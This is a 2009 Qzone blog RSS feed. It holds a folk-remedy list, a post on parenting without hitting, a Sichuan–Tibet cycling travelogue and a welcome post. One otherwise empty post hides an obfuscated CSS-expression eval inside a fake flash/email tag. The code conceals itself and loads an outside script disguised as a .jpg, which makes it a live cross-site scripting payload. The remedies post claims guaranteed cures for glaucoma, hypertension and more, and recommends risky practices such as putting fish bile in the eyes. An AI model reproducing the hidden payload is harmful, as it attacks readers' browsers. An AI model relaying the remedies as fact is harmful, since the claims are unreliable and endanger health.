http://1206671916.qzone.qq.com Mon, 30 Nov 2009 15:42:30 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Mon, 05 Oct 2009 09:02:46 GMT http://1206671916.qzone.qq.com/blog/1254733366 黄瓜减肥有成效， 抑制癌症猕猴桃。
番茄补血助容颜， 莲藕除烦解酒妙。
橘子理气好化痰， 韭菜补肾暖膝腰。
萝卜消食除胀气， 芹菜能治血压高。
白菜利尿排毒素， 菜花常吃癌症少。
冬瓜消肿有利尿， 绿豆解毒疗效高。
木耳搞癌散血淤， 山药益肾浮肿消。
海带含碘散淤结， 蘑菇抑制癌细胞。
胡椒驱寒兼除湿， 葱辣姜汤治感冒。
鱼虾猪蹄补乳汁， 猪肝羊肝明目好。
益肾强腰吃核桃， 健肾补脾吃红枣。
治高血压：
（1）香蕉皮30克，晒干水煎喝，每日3次，一个月见效。 （2）用中药罗布麻，开水冲喝，每日15克，半月见效。
（3）银杏叶每日15克，用开水冲喝下，半月见效。
治低血压：
甘草20克，桂枝，肉桂各40克，将以上药物混合后当茶冲泡服用一周。
治血脂稠：
（1）枸杞子10克，何首乌，草决明，山楂各15克，丹参20克，水煎服，每日两次，四个疗程治愈，（七天为一个疗程）。
（2）山楂. 银杏叶. 绞股蓝各15克，泡茶喝。连服四疗程（半月为一个疗程）
脸上黑星（雀斑）：
元荽（又名香菜），煎汤，一天洗三次，一个疗程治愈。
治脚汗. 脚臭：
白萝卜煮水，每晚熏洗双脚30分钟，连洗半月治愈。
治脚气：
韭菜一斤，煮水十分钟泡脚，每日一次，每次20分钟，三天除根。
治神经衰弱：
浮小麦50克，干草24克，大枣20克，酸枣仁30克，混合。水煎服，每天一次，半月治愈。
立治牙疼：
白酒一两，松香15克，泡2小时后用棉花沾酒放在牙疼处，咬紧。5分钟不疼，虫火寒齐清。
根治牙疼：
蚂蜂窝. 红糖各1两，兑两碗水，煎剩下一碗半时让患者喝下，三十年不疼。
治口腔炎：
西瓜皮晒干，烽炒焦，加冰片少许研末，用蜂蜜调和涂于患处，特效。
治烂嘴：
用浓茶叶水，加少许食盐，然后用来漱口，一天三至五次，三日治愈。
治咽炎：
海带洗净，烫一下取出，用白糖腌二日后吃，每日三次，每次30克，一付。轻，两付好，三付除根（一斤海带，一斤白糖）。
治中耳炎：
韭菜根一两捣烂，挤出水份，加入少许冰片，滴耳，特效。
治耳鸣耳聋：
雄乌鸡一只，甜酒四斤，煮熟后趁热吃，连吃五只，特效。
治感冒：
香菜一把，葱白连须5根，生姜10片，水煎，加红糖一两，趁热服，一天两次，一天治愈。
治偏头疼：
生萝卜汁适量，用法：仰卧注入鼻中，左痛注右，右痛注左，神效，如加冰片少许更妙。
治头痛：
白芷4克，冰片2克，细辛2克，研成粉卷入纸筒放药粉燃着，用鼻吸入烟气（神经头痛）
治头晕头痛：
黄芪. 天麻各一两，炖黄母鸡一只吃下，连吃三只治愈。 治痔疮：
皮硝一两，槐米半斤。熬水熏洗，每日两次，七天治愈。
治阴痒肛痒：
醋500克，盐5克加热洗，一天三次。
治鼻出血：
（1）左鼻出血从右耳吹气，右鼻出血从左耳吹气，可立即止血。
（2）用头发烧成灰吹入鼻孔立止（男用母发，女用父发）可根除。
治鼻炎：
苍耳子30克，轻轻捣烂放入小勺内，加香油50克火煎，将苍耳子碎渣捞出，用油滴鼻子，一天3至5次。
治青光眼：
向日葵盘（去籽）3朵，斩碎水煎一半内服另一半熏洗眼部半月治愈。
治眼流泪 . 角膜炎：
鱼苦胆点眼，一天三次，半月治愈。
快速美容：
鸡蛋三个，用酒泡，密封4至7天，每天以蛋清涂面，七天面如白雪。
治青春痘：
用蒲公英2两，熬水喝，一天一付，半月治愈
治手足裂：
五倍子适量研末，用牛骨髓或矾士林调涂抹缝中，五日治愈。
治黑斑：
当归半斤，煮水一碗，用此水抹患处，半月见效
治肩关节周炎：
生姜一两，芋头二两，去皮捣烂如泥，用布袋装好贴患处，一天两次，四个疗程治愈（七天为一个疗程）。
治胆囊炎：
玉米须30克，蒲公英，茵陈各15克。水煎服，每日三次，一个月治愈。
治肠胃炎：
木瓜100克，扁豆100克，兑水煮熟吃豆喝汤，一天两次，半月除根。
治肠胃炎：
木瓜100克，扁豆100克，兑水煮熟吃豆喝汤，一天两次，半月除根。
治类风湿性关节炎：
辣椒2两泡白酒2斤，泡七天后洗患处，一天三次，半月治愈
治气管炎：
炒桃仁，白胡椒，枝子，乙醚各25克，碾成碎面，鸡蛋清调和，男左女右贴在脚心处，吃鸡蛋。每天一个，七天特效。
治胆结石：
鸡内金10克，焙干研末，白开水冲服，一天三次，一个月治愈。
治肾结石 . 尿道结石：
核桃仁，冰糖各20克，香油50克，温开水冲服，每天一剂，一个月治愈。
治胃病：
血灵脂25克，延胡素，香附佛手各20克，甘松15克，水煎服。一天一剂，半月治愈。
治胃胀胃满：
黑白丑焙干研末，白开水冲服，每天3次，每次10克，七日治愈。
治四肢麻木：
生姜，大蒜各20克，切碎拌陈醋100克，加水一碗煎开熏洗患处。 ]]> http://1206671916.qzone.qq.com/blog/1254733366#comment 1032 Mon, 05 Oct 2009 09:02:46 GMT http://1206671916.qzone.qq.com/blog/1254733366 http://1206671916.qzone.qq.com/blog/1253278352 不打不骂10大高招把孩子管教好

不打不骂的10大管教妙法

　　很少有父母天生就会教孩子，也很少有父母能自然而然地成为育儿高手。要想做一个成功的父母，就需要不断地充实新知识。如果您从小就没有得到太多良好的教育体验，现在又很难去思考应该如何对待孩子，那么请参考一下程桂英老师提出的10个方法。当您被孩子气得火冒三丈的时候，不妨用这些方法来取代打骂的教养方式。
　　1.多多了解孩子
　　在忙于生计的同时，家长一定要抽出时间来多了解孩子，与孩子、保姆、孩子的老师多多沟通，尽量对孩子在幼儿园和家庭中的表现有一个全面把握。多一分了解，就少一分误解。这样一旦孩子真有不听话的时候，也能比较明白应该如何去引导孩子。
　　2.吸收教育知识
　　社会在变化，孩子的成长环境也在变化，那么教养方式自然也要不断进步。身为家长，就要责无旁贷地主动吸收教育新知。在传统的亲子教育方式中，多半是父母用权威来教育孩子，而打骂处罚更是权威教育的重要方法。吸收新知可以帮助家长跳出自己的成长经验，及时调整自己的教育观念。
　　3.耐心倾听孩子
　　如果是气急攻心的家长，在面对不听管教的孩子时，通常最直接的反应就是破口大骂。此时，程桂英老师建议家长先冷静下来，尝试着多一分耐心，问问孩子这么做的原因是什么。当家长的心思已经放在了解孩子的想法，并想办法帮孩子解决问题时，也许就会发现孩子的行为其实是情有可原的，并且也已经释放掉了很多负面的情绪。
　　4.真正放下身段
　　有些家长总喜欢在孩子面前保持威严，习惯用以上对下的态度来对待孩子。对此程桂英老师特别建议，希望家长真正放下身段，从内心尊重孩子，不要再用命令的口气跟孩子说话，将孩子当做成人一样给予尊重。不要总是对孩子说“不”，而是要给孩子选择题，让孩子自己做决定。如果孩子的年龄足够大，表达能力没有问题，也可以让孩子自己提出解决方案或替代办法。
　　5.跟孩子讲道理
　　除了平时的告诫之外，家长也要在实际的情境中教导孩子一定的道理。让孩子有同理心，让他从其他人的角度去体会一下，真正明白自己的行为会如何影响他人。至于解说道理的方式，则可依孩子的年龄来选择讲解的深度，特别小的孩子可以用讲故事的方式来进行。
　　6.让孩子去体验
　　如果孩子老是听不进大人的话，那么在保证安全和没有恶劣后果的前提下，家长也可以让孩子自己会“自食恶果”的滋味。通过自身的切实体验，孩子将能深刻领悟到家长的教导有多么正确和重要。
　　7.同孩子做协商
　　不要总是要求孩子按照大人的心意去生活，那么不只是孩子痛苦，就连大人也很痛苦。孩子也是人，当然有他自己想做的事，因此，同孩子做协商，各退一步也许是很好的方法。比如当孩子想要跳沙发，而家长却有事情要思考的时候，就可以请孩子去卧室的床上跳，或者请他等一会再跳，或者等家长把事情处理完，再带孩子去公园尽情地跳。
　　8.盛怒时不管教孩子
　　在极度愤怒的状况下，家长肯定无法以理性的方式来管教孩子。所以，当家长无论如何也平静不下来的时候，程桂英老师建议家长暂时离开现场，或是转移自己的注意力去做别的事，如打电话给朋友聊天、听音乐等。等自己平静下来以后，再和孩子好好谈谈。
　　9.修正对孩子的期望
　　有时家长真的太过于求好心切了，常常拿自己都做不到的标准(或许是家长自以为能够做到，但实际上从来没有做到过！)来要求孩子。要知道，孩子年龄还小，有好动、固执、健忘等表现都很正常。家长如果真的要对孩子有所要求，也一定要考虑孩子的成长状况，不要总是拿放大镜去看待孩子的表现。
　　10.真诚对待孩子
　　有些家长在与孩子做沟通的时候，总是喜欢用指责或命令式的语气，这常常让孩子难以接受。据程桂英老师介绍，亲子之间的沟通应该是真诚而没有距离的，家长可以很诚实地将自己的担心或情绪解释给孩子听，让孩子了解他的行为会让你难过，或是会让你担心、惧怕。只要语气是平和的、态度是真诚的，你就会发现，其实孩子是很乐意体贴爸爸妈妈的！ ]]> http://1206671916.qzone.qq.com/blog/1253278352#comment 1033 Fri, 18 Sep 2009 12:52:32 GMT http://1206671916.qzone.qq.com/blog/1253278352 http://1206671916.qzone.qq.com/blog/1252473044 [flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://1206671916.qzone.qq.com/blog/1252473044#comment 4616 Wed, 09 Sep 2009 05:10:44 GMT http://1206671916.qzone.qq.com/blog/1252473044 http://1206671916.qzone.qq.com/blog/1252241875



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]]> http://1206671916.qzone.qq.com/blog/1251531257#comment 1033 Sat, 29 Aug 2009 07:34:17 GMT http://1206671916.qzone.qq.com/blog/1251531257 http://1206671916.qzone.qq.com/blog/1247296214

续：笨鸡走川藏26——竹卡-觉巴山：沿澜沧绝壁爬行，告慰遇难勇士
…
夕阳西下，阳光一改中午的毒辣，暖暖的斜在脸上，舒服极了。
觉巴山上的花儿也抓紧时间沐浴着最后的阳光，柔和的光线下花儿变得很漂亮！

花草似乎都有了灵气，它们身后是一条澜沧江的支流，空气中飘荡着清新的植物香气，这是生命的味道吧？
…
暖暖的阳光下走过来一个漂亮的藏族姐姐，好一个端庄成熟的藏族大姐！

她在么高的山顶上干什么呢？
原来她是刚刚从山里采松茸回来，背包里装满的鼓鼓的松茸！

哥几个很兴奋的上去看松茸，好大的蘑菇啊，哈哈~
…
看着山下的小黑点儿慢慢移上来了，跟阿波儿齐声高呼加油。
是小凯！他兴奋的冲我们直奔过来，小伙子差点儿飞到了山下，吓了我跟阿波儿一身冷汗！

暴热的澜沧江干谷给小凯打了一身的烙印——闪亮着白色的结晶，再攒两天估计可以卖了，不知道产量能不能超过澜沧江下游的那个盐井？呵呵！
一辆大巴驶过——中国最强悍的长途大巴车，从云南中甸直达圣城拉萨的，前面路上还有不少天险，道路通畅的话也要4天的时间，这无论对于司机还是乘客来说，都是强大的身心考验。

成都到拉萨走川藏线，目前还没有长途大巴，操作难度太大了！目前成都去拉萨的大巴都绕走青藏线，地图上看是绕了不少路，如果能弄个三维的地图就很清楚了——少走很多山路，加上路况超好，反而快了很多！
驴友走川藏线大部分都是包越野车走的，如果真想过过瘾，倒可以分段的搭车，川藏线上相邻的县城之间还是有固定的班车的。
…
小碧呢？山的这边已经完全被大山的阴影覆盖了，眼睛努力的搜索了一遍山下白色的细线还是没找到任何移动的影子。三个人转到了山头的迎风坡等他，在山头欢送最后一缕阳光。
山坡这一侧，一派浓浓的绿色，方寸间仿佛切换了个世界。
路旁有台球案子，还有一个林业站的房子，房子前面一块武警官兵立的石碑。
呆呆的看着这几个字——“甘为路石，无私奉献”，不知厚厚的石板下面承载了川藏官兵的多少血和泪？！！

山上聚满了人，有打台球的，还有不少休息闲聊的。山顶的热闹场景超过了我们的想象，这在之前走过的众多大山垭口中是完全没有的。
…
树林里钻出来一群小姑娘，看到一群“奇装异服”的我们远远的过来，都有点儿诧异，估计是怀疑我们怎么从山里冒出来呢吧？

她们开始在那儿嘻嘻哈哈了，原来也是采松茸上来的，看她们高兴的样子今天收获应该不少啊！

受这里快乐气氛感染，刚刚举起镜头，一群藏族姑娘“啊呀呀”尖叫捂着脸四散跑开，山谷里回荡年轻快乐的声音。

真让我有点意外啊，这么害羞啊？有点像幼儿园老鹰捉小鸡的场景， 我成了端着镜头的老鹰。
有几个个漂亮的小姑娘干脆钻到山上的经幡里去了，实在太可爱了。

还好我眼疾手快，记录下了一些难忘又动人的笑脸！

虽然语言不是很畅通，但是双方的意思大概都能明白，大家借助双手的帮忙展开了热烈的讨论，觉巴山垭口上成了藏汉青年的欢乐聚会！
…
阿波儿很受欢迎啊，几个大胆的姑娘拥在了阿波儿身边，看照片。

已经有女孩子开始抓阿波儿的胳膊了，我说阿波儿，你就留在这儿吧，有藏族妹妹喜欢你呢！

藏族妹妹实在是太豪爽了！阿波儿却害羞的不行。
要不就托在后座，带回拉萨，再带回老家吧，你这趟川藏行就真的没算白走啊，哈~

妹妹的手还没松，阿波儿的脸却羞的像一朵春天的桃花，我跟小凯在旁边都快笑死啦！一路这么自虐过来，今天能有素不相识的藏族姑娘挽阿波儿的手，这在我们这些虐驴里头绝对算得上是“桃色”事件啦！
听不少在西藏待过的朋友都说过，藏族女孩对感情特别忠贞执着，尤其像这些生活在大山里的姑娘们，所以说如果你有不少花花心思，最好就不要放在藏族女孩身上了~
阿波儿健康的肤色，结实的肌肉，兼具了藏汉的气质，难得会有女孩子喜欢！这里山头上有没有抢女婿回家的啊？我跟小凯在继续挑事儿了，傍边的几个女孩子好像听懂了，大家笑做了一团。
…
在山上等了好久，还没有看到小碧，想想山上悬崖几个人都有点儿担心，不会的！不会是已经被村子里的妹妹拉进屋里喝酥油茶，然后就留宿了吧？
采松茸的小姑娘们已经搭拖拉机下山了，天色沉了下来，下山还有很多大坡绝壁，几个人不得已下山了，今晚上必须要找到住的地方。大家匆匆忙忙的从山上往下冲！ 山野里郁郁匆匆，路还是一样的险！只是大家赶路心切，已经没什么心思拍照了！

下了十几公里的大坡，终于冲进了一个小村子——登巴村，也叫邓巴的，一问，没有旅馆！这时候天已经彻底黑了，都有点儿着急，投宿老乡家吧？要不行就在赶夜路到前面的兵站吧？阿波一个人去前面探路了，一会儿兴奋的叫我们过去。原来在前面村口有家新盖的食宿店。哎呀，到家了，终于！
…
小旅馆里的一顿难忘的烛光晚餐！村子里还没有通电！

晚餐菜谱：牦牛肉冷盘，白菜豆腐汤，木耳炒肉。
饭过七旬，跟老板聊起来了，老板说这一代山上有狼的，当时心一下子就提起来了。看着外面深深的夜色，小碧现在在哪儿呢，还在骑夜路吗，不会真出了什么叉子了吧？
觉得自己无地自容，当时要留一个人在山上等就好了，不知道小碧骑的慢，出发的时候也没跟他说好，开始深深自责起来！
…
良久，门外，一阵呼呼的车轮声，然后停下来了，“有人吗？”
几个人冲出来，啊！真是小碧！大家兴奋地一阵欢呼尖叫！
这么黑的天，你怎么从山上下来的？
小碧抬头望望天，“今天的月光真好，我借着月光贴着崖壁，一点一点骑下来了…”小碧淡淡的一笑。我们几个仰望着天空，繁星点点中一个漂亮的月亮船，真的好亮啊，在看看小碧，几个人一时说不话了！
小碧，你实在太强大了！论体格你算不上什么钢铁之身，甚至还有些淡薄，但你的意志已经远远的超过的了钢铁！
小碧没点菜，泡了一包方便面准备晚餐了。
如此虐的山路，一包泡面怎么支撑的过去？又是在节省路上开销吗？我跟阿波儿看着他吃面的高兴劲儿心里都特不平静…
…
入夜，山谷里格外的宁静，可以听到窗外小动物悉悉索索的声音。
点上蜡烛！
笔头在阿波手中沙沙的滑动着，他在记录什么呢？对小碧的钦佩感慨？逃出藏族妹妹的铁掌的惊险经历？还是对石头他们的怀念？

我也开始记录平凡又不平凡的一天，从今天开始，我们的川藏行程已经过半！平凡的每一天拼接起了不平凡的路程。

…
后面的路一定更加艰险，我们必将更加勇敢坚定的走下去！
就像觉巴山上的那一棵棵草，虽渺小，却坚强！

正当年少时，勇敢去拼，不后悔！
…
待续：笨鸡走川藏28——登巴-左贡
相关链接：川笨鸡走川藏1——川藏全程：居然上路了


附骑行日志：
D DATE S/D（海拔） 里程 自虐指数 感官指数 途经
16 8/9 芒康(3875)－乌拉山(4380)－澜沧江桥(2640)－觉巴山(3890)－登巴(3470) 88km ★★★★★ ★★★★ 乌拉山、竹卡、澜沧江、觉巴山


]]> http://1206671916.qzone.qq.com/blog/1247296214#comment 136315401 Sat, 11 Jul 2009 07:10:14 GMT http://1206671916.qzone.qq.com/blog/1247296214 http://1206671916.qzone.qq.com/blog/1246095431
虽然我认识的GGMM都有QQ空间，不过我相信我的空间一定是独一无二的！

我喜欢交朋友，如果你想和我多聊一些，给我留言，发小纸条或者直接加我好友吧！

另外，如果你在其他博客上有日记或者照片，可以用QQ空间搬家工具(http://n.qzone.qq.com/move/move_login.htm)把它们备份到QQ空间。让我们一起享受QQ空间的网络生活新体验！:) ]]> http://1206671916.qzone.qq.com/blog/1246095431#comment 142606336 Sat, 27 Jun 2009 09:37:11 GMT http://1206671916.qzone.qq.com/blog/1246095431